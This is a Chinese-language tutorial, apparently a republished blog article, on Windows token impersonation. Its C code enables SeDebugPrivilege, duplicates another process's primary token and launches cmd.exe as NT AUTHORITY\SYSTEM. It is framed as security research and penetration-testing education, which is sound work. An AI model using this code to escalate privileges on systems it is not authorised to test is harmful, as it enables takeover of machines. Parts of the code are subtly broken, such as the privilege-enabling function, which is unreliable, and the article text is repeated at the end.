Windows API and Impersonation Part 1 - 如何使用Primary Tokens获取SYSTEM权限
字数 962 2025-08-27 12:33:31

Windows API 与令牌模拟技术研究:使用 Primary Tokens 获取 SYSTEM 权限

1. Windows 权限系统概述

Windows 系统使用访问令牌(Access Tokens)来标识系统内的安全级别和访问权限。每个进程都拥有两种类型的令牌:

  • Primary Token:主令牌,表示进程的安全上下文
  • Impersonation Token:模拟令牌,用于临时模拟其他用户的安全上下文

查看当前特权集的命令:

whoami /priv

在中等完整性级别(Medium-Integrity)下,即使作为管理员,也可能没有足够权限获取 SYSTEM shell。要获得完整权限,通常需要绕过用户账户控制(UAC)。

2. 权限操作基础

2.1 启用权限

即使特权集中包含某个权限,它可能处于禁用状态。以下代码展示了如何启用特定权限:

#include <Windows.h>
#include <tchar.h>

BOOL EnableWindowsPrivilege(WCHAR* Privilege) {
    LUID luid = {};
    TOKEN_PRIVILEGES tp;
    HANDLE currentProcess = GetCurrentProcess();
    HANDLE currentToken = {};
    
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    if (!LookupPrivilegeValue(NULL, Privilege, &luid)) return FALSE;
    if (!OpenProcessToken(currentProcess, TOKEN_ALL_ACCESS, &currentToken)) return FALSE;
    if (!AdjustTokenPrivileges(currentToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), 
        (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) return FALSE;
    
    return TRUE;
}

int wmain(void) {
    if(!EnableWindowsPrivilege(SE_DEBUG_NAME)) {
        wprintf(L"Could not enable SeDebugPrivilege!\n");
        return 1;
    }
    return 0;
}

2.2 检查权限

在执行特定操作前,可能需要检查当前权限集中是否存在某个权限:

#include <Windows.h>
#include <tchar.h>

BOOL CheckWindowsPrivilege(WCHAR *Privilege) {
    LUID luid;
    PRIVILEGE_SET privs;
    HANDLE hProcess;
    HANDLE hToken;
    
    hProcess = GetCurrentProcess();
    if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) return FALSE;
    if (!LookupPrivilegeValue(NULL, Privilege, &luid)) return FALSE;
    
    privs.PrivilegeCount = 1;
    privs.Control = PRIVILEGE_SET_ALL_NECESSARY;
    privs.Privilege[0].Luid = luid;
    privs.Privilege[0].Attributes = SE_PRIVILEGE_ENABLED;
    
    BOOL bResult;
    PrivilegeCheck(hToken, &privs, &bResult);
    return bResult;
}

int wmain(void) {
    if(!CheckWindowsPrivilege(SE_DEBUG_NAME)) {
        wprintf(L"I do not have SeDebugPrivilege!\n");
        return 1;
    }
    wprintf(L"I do have SeDebugPrivilege!\n");
    return 0;
}

3. 使用 Primary Tokens 获取 SYSTEM 权限

3.1 OpenProcess 函数

用于获取远程进程的句柄,是与进程交互的基础:

HANDLE OpenProcess(
    DWORD dwDesiredAccess,
    BOOL bInheritHandle,
    DWORD dwProcessId
);

示例用法:

#include "windows.h"
#include "tchar.h"

int wmain(int argc, WCHAR **argv) {
    HANDLE hProcess;
    hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, 1234);
    if(!hProcess) {
        wprintf(L"Could not get a handle to remote process.\n");
        return 1;
    }
    wprintf(L"We got our handle!\n");
    return 0;
}

3.2 OpenProcessToken 函数

获取进程令牌的句柄:

BOOL OpenProcessToken(
    HANDLE ProcessHandle,
    DWORD DesiredAccess,
    PHANDLE TokenHandle
);

示例用法:

#include "windows.h"
#include "tchar.h"
#pragma comment(lib, "advapi32.lib")

int wmain(int argc, WCHAR **argv) {
    if (argc < 2) {
        wprintf(L"Usage: %ls <PID>\n", argv[0]);
        return 1;
    }
    
    DWORD dwPid = _wtoi(argv[1]);
    wprintf(L"[+] PID chosen: %d\n", dwPid);

    HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, dwPid);
    if (!hProcess) {
        wprintf(L"ERROR: Could not get a handle to PID %d\n", dwPid);
        return 1;
    }
    wprintf(L"[+] Got handle for PID: %d\n", dwPid);

    PHANDLE pToken = new HANDLE;
    BOOL bResult = OpenProcessToken(hProcess, TOKEN_QUERY | TOKEN_IMPERSONATE, pToken);
    if (!bResult) {
        wprintf(L"ERROR: Could not open process token.\n");
        return 1;
    }
    wprintf(L"[+] Process token is now open.\n");
    return 0;
}

3.3 DuplicateTokenEx 函数

复制令牌对象,用于创建使用相同令牌的新进程:

BOOL DuplicateTokenEx(
    HANDLE hExistingToken,
    DWORD dwDesiredAccess,
    LPSECURITY_ATTRIBUTES lpTokenAttributes,
    SECURITY_IMPERSONATION_LEVEL ImpersonationLevel,
    TOKEN_TYPE TokenType,
    PHANDLE phNewToken
);

完整示例:

HANDLE GetAccessToken(DWORD pid) {
    HANDLE currentProcess = {};
    HANDLE AccessToken = {};
    DWORD LastError;
    
    if (pid == 0) {
        currentProcess = GetCurrentProcess();
    } else {
        currentProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, pid);
        if (!currentProcess) {
            LastError = GetLastError();
            wprintf(L"ERROR: OpenProcess(): %d\n", LastError);
            return (HANDLE)NULL;
        }
    }
    
    if (!OpenProcessToken(currentProcess, 
        TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY, 
        &AccessToken)) {
        LastError = GetLastError();
        wprintf(L"ERROR: OpenProcessToken(): %d\n", LastError);
        return (HANDLE)NULL;
    }
    return AccessToken;
}

int wmain(int argc, WCHAR **argv) {
    if (argc < 2) {
        wprintf(L"Usage: %ls <PID>\n", argv[0]);
        return 1;
    }
    
    DWORD pid = _wtoi(argv[1]);
    if ((pid == NULL) || (pid == 0)) return 1;
    wprintf(L"[+] Pid Chosen: %d\n", pid);

    HANDLE pToken = GetAccessToken(pid);
    SECURITY_IMPERSONATION_LEVEL seImpersonateLevel = SecurityImpersonation;
    TOKEN_TYPE tokenType = TokenPrimary;
    HANDLE pNewToken = new HANDLE;
    
    if(!DuplicateTokenEx(pToken, MAXIMUM_ALLOWED, NULL, seImpersonateLevel, tokenType, &pNewToken)) {
        DWORD LastError = GetLastError();
        wprintf(L"ERROR: Could not duplicate process token [%d]\n", LastError);
        return 1;
    }
    wprintf(L"Process token has been duplicated.\n");
}

3.4 CreateProcessWithToken 函数

使用复制的令牌在新安全环境下生成进程:

BOOL CreateProcessWithTokenW(
    HANDLE hToken,
    DWORD dwLogonFlags,
    LPCWSTR lpApplicationName,
    LPWSTR lpCommandLine,
    DWORD dwCreationFlags,
    LPVOID lpEnvironment,
    LPCWSTR lpCurrentDirectory,
    LPSTARTUPINFOW lpStartupInfo,
    LPPROCESS_INFORMATION lpProcessInformation
);

完整流程示例:

if(!DuplicateTokenEx(pToken, MAXIMUM_ALLOWED, NULL, seImpersonateLevel, tokenType, &pNewToken)) {
    DWORD LastError = GetLastError();
    wprintf(L"ERROR: Could not duplicate process token [%d]\n", LastError);
    return 1;
}
wprintf(L"Process token has been duplicated.\n");

STARTUPINFO si = {};
PROCESS_INFORMATION pi = {};
BOOL ret;

ret = CreateProcessWithTokenW(pNewToken, LOGON_NETCREDENTIALS_ONLY, 
    L"C:\\Windows\\System32\\cmd.exe", NULL, CREATE_NEW_CONSOLE, 
    NULL, NULL, &si, &pi);

if (!ret) {
    DWORD lastError = GetLastError();
    wprintf(L"CreateProcessWithTokenW: %d\n", lastError);
    return 1;
}

成功执行后,将获得一个运行在 NT AUTHORITY\SYSTEM 权限下的 Windows shell。

4. 总结

本文详细介绍了使用 Windows API 和 Primary Tokens 获取 SYSTEM 权限的技术路线,包括:

  1. 理解 Windows 权限系统基础
  2. 权限的启用和检查方法
  3. 使用 OpenProcess 获取进程句柄
  4. 使用 OpenProcessToken 获取进程令牌
  5. 使用 DuplicateTokenEx 复制令牌
  6. 使用 CreateProcessWithTokenW 创建新进程

这些技术组合使用可以在适当权限下获取 SYSTEM 级别的访问权限,是 Windows 系统安全研究和渗透测试中的重要技术。

Windows API 与令牌模拟技术研究:使用 Primary Tokens 获取 SYSTEM 权限 1. Windows 权限系统概述 Windows 系统使用访问令牌(Access Tokens)来标识系统内的安全级别和访问权限。每个进程都拥有两种类型的令牌: Primary Token :主令牌,表示进程的安全上下文 Impersonation Token :模拟令牌,用于临时模拟其他用户的安全上下文 查看当前特权集的命令: 在中等完整性级别(Medium-Integrity)下,即使作为管理员,也可能没有足够权限获取 SYSTEM shell。要获得完整权限,通常需要绕过用户账户控制(UAC)。 2. 权限操作基础 2.1 启用权限 即使特权集中包含某个权限,它可能处于禁用状态。以下代码展示了如何启用特定权限: 2.2 检查权限 在执行特定操作前,可能需要检查当前权限集中是否存在某个权限: 3. 使用 Primary Tokens 获取 SYSTEM 权限 3.1 OpenProcess 函数 用于获取远程进程的句柄,是与进程交互的基础: 示例用法: 3.2 OpenProcessToken 函数 获取进程令牌的句柄: 示例用法: 3.3 DuplicateTokenEx 函数 复制令牌对象,用于创建使用相同令牌的新进程: 完整示例: 3.4 CreateProcessWithToken 函数 使用复制的令牌在新安全环境下生成进程: 完整流程示例: 成功执行后,将获得一个运行在 NT AUTHORITY\SYSTEM 权限下的 Windows shell。 4. 总结 本文详细介绍了使用 Windows API 和 Primary Tokens 获取 SYSTEM 权限的技术路线,包括: 理解 Windows 权限系统基础 权限的启用和检查方法 使用 OpenProcess 获取进程句柄 使用 OpenProcessToken 获取进程令牌 使用 DuplicateTokenEx 复制令牌 使用 CreateProcessWithTokenW 创建新进程 这些技术组合使用可以在适当权限下获取 SYSTEM 级别的访问权限,是 Windows 系统安全研究和渗透测试中的重要技术。